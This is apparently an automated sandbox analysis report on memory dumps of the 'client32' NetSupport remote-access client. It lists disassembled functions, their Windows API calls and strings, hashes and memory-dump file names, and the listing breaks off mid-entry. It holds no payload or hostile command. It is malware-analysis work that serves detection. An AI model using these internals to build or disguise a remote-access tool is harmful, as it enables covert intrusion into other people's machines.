CurrentMinorVersionNumber, xrefs: 11141600
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 1114149B
Service Pack, xrefs: 1114167D
CurrentMajorVersionNumber, xrefs: 111415C8
CSDVersion, xrefs: 111414EA
CurrentVersion, xrefs: 11141514

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: cc156d2fc60b229b2d92a42974f8c00efbb54fd9c1e8173fb7513e6fbbdd6634
Instruction ID: 0d1b9e8298f1eb51cd51357b4b29a3df9733e94562d2b2a18f885034f0aa44e4
Opcode Fuzzy Hash: cc156d2fc60b229b2d92a42974f8c00efbb54fd9c1e8173fb7513e6fbbdd6634
Instruction Fuzzy Hash: 3351EA71F0022A9FDB21DFA1CC41FEEF7B9AB41708F1440A9E51D66141E7B0BA44CBA5

Function 110267B0 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11026836
_strtok.LIBCMT ref: 11026870
Sleep.KERNEL32(1102F5F3,?,*max_sessions,0000000A,00000000,00000000,00000002), ref: 11026964

Strings

Protocols, xrefs: 11026821
TCPIP, xrefs: 11026892
*max_sessions, xrefs: 110268C6
LoadTransports(%d), xrefs: 110268AC
Error. not all transports loaded (%d/%d), xrefs: 11026938
Client, xrefs: 11026826, 110268CB
UseNCS, xrefs: 1102688D
Retrying..., xrefs: 11026952

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 08a7d2993743d61d46cd9974078375083517d7aff46eb18fcceb88c22e0d8912
Instruction ID: d52657f79db0df0ce9085bbf6ec612411b4caf13fb54bf73663b3ccfc433d9d3
Opcode Fuzzy Hash: 08a7d2993743d61d46cd9974078375083517d7aff46eb18fcceb88c22e0d8912
Instruction Fuzzy Hash: 445126B5E0125A9BDB11CFE4CC80BEEFBE5EF80308F54416AEC1567244EB716946C792

Function 6C4D8D00 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6C4E67B5), ref: 6C4D8D6B

Part of subcall function 6C4D4F70: LoadLibraryA.KERNEL32(psapi.dll,?,6C4D8DC8), ref: 6C4D4F78

GetCurrentProcessId.KERNEL32 ref: 6C4D8DCB
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 6C4D8DD8
FreeLibrary.KERNEL32(?), ref: 6C4D8EBF

Part of subcall function 6C4D4FB0: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6C4D4FC4
Part of subcall function 6C4D4FB0: K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6C4D8E0D,00000000,?,6C4D8E0D,00000000,?,00000FA0,?), ref: 6C4D4FE4

CloseHandle.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 6C4D8EAE

Part of subcall function 6C4D5000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C4D5014
Part of subcall function 6C4D5000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C4D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C4D5034

Part of subcall function 6C4D2420: _strrchr.LIBCMT ref: 6C4D242E

Strings

NSM247, xrefs: 6C4D8D8B
Set Is247=%d, xrefs: 6C4D8ED7
is247, xrefs: 6C4D8D42
pcictl_247.dll, xrefs: 6C4D8E6C
NSM247Ctl.dll, xrefs: 6C4D8E7E
CLIENT247, xrefs: 6C4D8DA7

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: Process$AddressFileLibraryModuleNameProc$CloseCurrentEnumFreeHandleLoadModulesOpen_strrchr
String ID: CLIENT247$NSM247$NSM247Ctl.dll$Set Is247=%d$is247$pcictl_247.dll
API String ID: 2714439535-3484705551
Opcode ID: e305e651ef2de7ab4783720b5e0977930c3accb3c97c32e1a979edf103870c32
Instruction ID: df13f10623904fb32a3c42182a07c83d96357a30c86667b97dfa1eda1dbdcae0
Opcode Fuzzy Hash: e305e651ef2de7ab4783720b5e0977930c3accb3c97c32e1a979edf103870c32
Instruction Fuzzy Hash: 16410871A002195BEB10EB51CC59FFB7378EB45709F0204A9EA14E6E40EB70BA44CFE0

Function 110FFDC0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11088380: UnhookWindowsHookEx.USER32(?), ref: 110883A3

GetCurrentThreadId.KERNEL32 ref: 110FFDDC
GetThreadDesktop.USER32(00000000), ref: 110FFDE3
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 110FFDF3
SetThreadDesktop.USER32(00000000), ref: 110FFE00
CloseDesktop.USER32(00000000), ref: 110FFE19
GetLastError.KERNEL32 ref: 110FFE21
CloseDesktop.USER32(00000000), ref: 110FFE37
GetLastError.KERNEL32 ref: 110FFE3F

Strings

SetThreadDesktop(%s) ok, xrefs: 110FFE0B
SetThreadDesktop(%s) failed, e=%d, xrefs: 110FFE29
OpenDesktop(%s) failed, e=%d, xrefs: 110FFE47

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: 9ed234f7ecce24b995901de844769b8813121c75129d39a6b020755d9e67db27
Instruction ID: 6ff64ee9786642f480deaccef50bf387ca9b6f285afe7fc7d9ca5382326c2a2a
Opcode Fuzzy Hash: 9ed234f7ecce24b995901de844769b8813121c75129d39a6b020755d9e67db27
Instruction Fuzzy Hash: 3911737AF012136BE701AFB16C89BAFBA2C9F55A1EF154038F61695146EF34A40487F3

Function 1115AA90 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115AAB8
GetLastError.KERNEL32 ref: 1115AAC5
wsprintfA.USER32 ref: 1115AAD8

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Part of subcall function 110290C0: _strrchr.LIBCMT ref: 110291B5
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 110291F4

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115AB1C
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115AB29

Strings

m_aProp, xrefs: 1115AB0A
NSMWndClass, xrefs: 1115AAB0
NSMDropTarget, xrefs: 1115AB1E
..\ctl32\wndclass.cpp, xrefs: 1115AAE9, 1115AB05
NSMReflect, xrefs: 1115AB17
GlobalAddAtom failed, e=%d, xrefs: 1115AAD2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: 3c65129bd1cd6b9dfe573abc139649b4eb696f50fb93768bc4cb37365f0de3e3
Instruction ID: 868ae3125931316a17727241cd99e9e2a94e5a6f367e843d9f8523000bf5e752
Opcode Fuzzy Hash: 3c65129bd1cd6b9dfe573abc139649b4eb696f50fb93768bc4cb37365f0de3e3
Instruction Fuzzy Hash: 65119475E01319AFC721EFEA9CC0AA6F7B8FF04319B40462FE56553541EA706540CB99

Function 1110D180 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 1110D1EA
__CxxThrowException@8.LIBCMT ref: 1110D1FF
GetCurrentThreadId.KERNEL32 ref: 1110D216
InitializeCriticalSection.KERNEL32(-00000010,?,110309CC,00000001,00000000), ref: 1110D229
InitializeCriticalSection.KERNEL32(111EB8A0,?,110309CC,00000001,00000000), ref: 1110D238
EnterCriticalSection.KERNEL32(111EB8A0,?,110309CC), ref: 1110D24C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,110309CC), ref: 1110D272
LeaveCriticalSection.KERNEL32(111EB8A0,?,110309CC), ref: 1110D2FF

Strings

..\ctl32\Refcount.cpp, xrefs: 1110D286
QueueThreadEvent, xrefs: 1110D28B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: a9464cb0e0a99456cff2a8d3bc78cbc6792874f259f81f545d4ceebd7879f5bc
Instruction ID: 3950031055ca146543af7cdf1b279fa91d633e3444a8efa468e47cc8be7809bd
Opcode Fuzzy Hash: a9464cb0e0a99456cff2a8d3bc78cbc6792874f259f81f545d4ceebd7879f5bc
Instruction Fuzzy Hash: DD41CFB4E01215AFDB12CFA98C84FAEFBF4FB48708F54853AE419D7344E635A5008BA1

Function 1105FE40 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1117B9D5,00000000,00000000,8F98CBB2,00000000,?,00000000), ref: 1105FEC4
_malloc.LIBCMT ref: 1105FF0B

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

RegEnumValueA.ADVAPI32(?,?,?,00000000,00000000,00000000,000000FF,?,8F98CBB2,00000000), ref: 1105FF4B
RegEnumValueA.ADVAPI32(?,00000000,?,00000100,00000000,?,000000FF,?), ref: 1105FFB2
_free.LIBCMT ref: 1105FFC4

Strings

..\ctl32\Config.cpp, xrefs: 1105FED3, 1105FEF3, 110600C5
maxname < _tsizeof (m_szSectionAndKey), xrefs: 1105FEF8
err == 0, xrefs: 1105FED8
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 110600CA

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: 832c3f14af67f4e12062f659a667db292a8be653cfce9e58fd3786288ee2bed1
Instruction ID: ede13588d858d1b18f3245067fa58f1e0616d42145e17361f02c99478c2933eb
Opcode Fuzzy Hash: 832c3f14af67f4e12062f659a667db292a8be653cfce9e58fd3786288ee2bed1
Instruction Fuzzy Hash: 1AA1C275A007469FE761CF64C880BABBBF8BF49304F004A5DE59A97681E770F505CBA2

Function 11158130 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,8F98CBB2,00000000,?), ref: 11158177
CoCreateInstance.OLE32(111C069C,00000000,00000017,111C05CC,?), ref: 11158197
wsprintfW.USER32 ref: 111581B7
SysAllocString.OLEAUT32(?), ref: 111581C3
wsprintfW.USER32 ref: 11158277
SysFreeString.OLEAUT32(?), ref: 11158318

Strings

SELECT * FROM %s, xrefs: 11158271
WQL, xrefs: 11158290
root\CIMV2, xrefs: 111581B1

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 0398c98525be31a8c24697f93845ccd5b23503528db7bb2cb42a9ea25600af09
Instruction ID: 9336f48619520aeccc2024ab41d6a99e117e3f302117b330a271187306c5cc8d
Opcode Fuzzy Hash: 0398c98525be31a8c24697f93845ccd5b23503528db7bb2cb42a9ea25600af09
Instruction Fuzzy Hash: 51518331B00619AFC7A0CB5ACC94F9AF7B8FB8A714F1046A9E819D7650D730AE41CF51

Function 11112C20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11112C75
CoCreateInstance.OLE32(111BBEDC,00000000,00000001,111BBEEC,00000000,?,00000000,Client,silent,00000000,00000000,?,1104B11B), ref: 11112C8F
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11112CB4
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11112CC6
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11112CD9
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11112CE5
CoUninitialize.COMBASE(00000000), ref: 11112D81

Strings

SHGetSettings, xrefs: 11112CC0
SHELL32.DLL, xrefs: 11112CA5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: c93f7e18291ad497f3def35e3008039eca04f2b1f5f3a3c973d42f6237fb431e
Instruction ID: 754b04c50834b9cb27866c85bafb1398d454f13d97ea83715dca47115da2e018
Opcode Fuzzy Hash: c93f7e18291ad497f3def35e3008039eca04f2b1f5f3a3c973d42f6237fb431e
Instruction Fuzzy Hash: D4516DB5A002169FDB10DFE5C9C0AEFFBB9FF88304F218569E615AB244D770A941CB61

Function 6C4E2F80 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 6C4E2FBB
GetTickCount.KERNEL32 ref: 6C4E300D
InterlockedExchange.KERNEL32(?,00000000), ref: 6C4E301B
_calloc.LIBCMT ref: 6C4E303B
_memmove.LIBCMT ref: 6C4E3049
InterlockedDecrement.KERNEL32(?), ref: 6C4E307F
SetEvent.KERNEL32(00000304,?,?,?,?,?,?,?,?,?,?,?,?,?,?,93AE34B3), ref: 6C4E308C

Part of subcall function 6C4E28D0: wsprintfA.USER32 ref: 6C4E2965

Strings

a3Nl, xrefs: 6C4E2FE0, 6C4E2FE3
a3Nl, xrefs: 6C4E2F87, 6C4E2FEB, 6C4E3021, 6C4E2FEE, 6C4E3043, 6C4E305A, 6C4E3099

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
